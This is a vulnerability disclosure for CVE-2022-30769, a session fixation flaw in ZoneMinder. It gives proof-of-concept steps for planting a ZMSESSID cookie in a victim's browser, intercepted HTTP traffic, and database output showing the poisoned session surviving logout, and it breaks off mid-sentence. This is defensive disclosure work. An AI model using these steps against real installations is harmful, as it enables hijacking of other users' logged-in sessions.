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Session Fixation in Zoneminder up to v1.36.12

CVE-2022-30769

Vulnerability Description:

Session fixation exists in ZoneMinder through 1.36.12 as an attacker can poison a session cookie to the next logged-in user. This occurs because two cookies will be generated when a user successfully logs in; one of these two can be the poisoned one.

Affected Assets:

Session cookie function

Details:

In this case session fixation occurs because two cookies will be generated when a user successfully logs in; one of these two can be the poisoned one. Analyzing the database, in the “Sessions” table, we can see that both of the cookies created are valid and as you can imagine, they are not tied to each other in any way, being two different session cookies. This causes that if the legitimate user exits, only one session is deleted from database, while the other with the poisoned session still remains logged in.

Proof of Concept:


1. As we can see, the contents of the “Sessions” table is empty. (This is not necessary for exploiting the vulnerability)




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```
MariaDB [zm]> select * from Sessions;  
Empty set (0.000 sec)  
  
MariaDB [zm]> □
```

2. Poison the cookie “ZMSESSID” on the victim browser and do a simple request to the zm server



3. Now if another user logs in the application with that browser, the cookie sent is the poisoned one



4. The server respond with a pair of valid cookie and one of this is the poisoned one!



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```
1 HTTP/1.1 200 OK
2 Date: Sun, 20 Mar 2022 19:17:00 GMT
3 Server: Apache/2.4.52 (Debian)
4 Expires: Thu, 19 Nov 1961 08:52:00 GMT
5 Cache-Control: no-store, no-cache, must-revalidate
6 Pragma: no-cache
7 Set-Cookie: ZMSESSID=TEST_COOKIE; expires=Sun, 20-Mar-2022 20:17:01 GMT; Max-Age=3600; path=/; HttpOnly; SameSite=Strict
8 Set-Cookie: ZMSESSID=TEST_COOKIE; expires=Sun, 20-Mar-2022 20:17:01 GMT; Max-Age=3600; path=/; HttpOnly; SameSite=Strict
9 Set-Cookie: ZMSESSID=je7chf442r6pa7lubgcdjk5af5; expires=Sun, 20-Mar-2022 20:17:01 GMT; Max-Age=3600; path=/; HttpOnly; SameSite=Strict
10 Content-Security-Policy: script-src 'self' 'nonce-9b3fd1720578ccb85b9d69d6e419856b'
```

5. From now on, requests are made automatically with the new cookie and no longer with the poisoned one

Request to http://192.168.89.72:80

Forward Drop Intercept is on Action Open Browser

Pretty Raw Hex ↕ ↗ ☰

```
1 GET /zm/?view=console HTTP/1.1
2 Host: 192.168.89.72
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Connection: close
8 Referer: http://192.168.89.72/zm/?view=console
9 Cookie: zmSkin=classic; zmCSS=base; ZMSESSID=je7chf442r6pa7lubgcdjk5af5
10 Upgrade-Insecure-Requests: 1
11
12
```

6. But...

```
MariaDB [zm]> select * from Sessions;
+-----+-----+-----+
| id          | access | data |
+-----+-----+-----+
| je7chf442r6pa7lubgcdjk5af5 | 1647804011 | remoteAddr[s:13:"192.168.89.72";skin[s:7:"classic";cs:AM2f2LQVR0riz79ul3D6DnmFiZC.ZK5eqbF.ZWfWH9bqUJ6";username[s:5:"admin";generated_at[i:1647803821;
| TEST_COOKIE | 1647803821 | remoteAddr[s:13:"192.168.89.72";skin[s:7:"classic";cs:AM2f2LQVR0riz79ul3D6DnmFiZC.ZK5eqbF.ZWfWH9bqUJ6";username[s:5:"admin";last_time[i:1647803821;
+-----+-----+-----+

2 rows in set (0.000 sec)

MariaDB [zm]> █
```

7. As you can see, we have now two valid cookie in the "Sessions" table. These cookies





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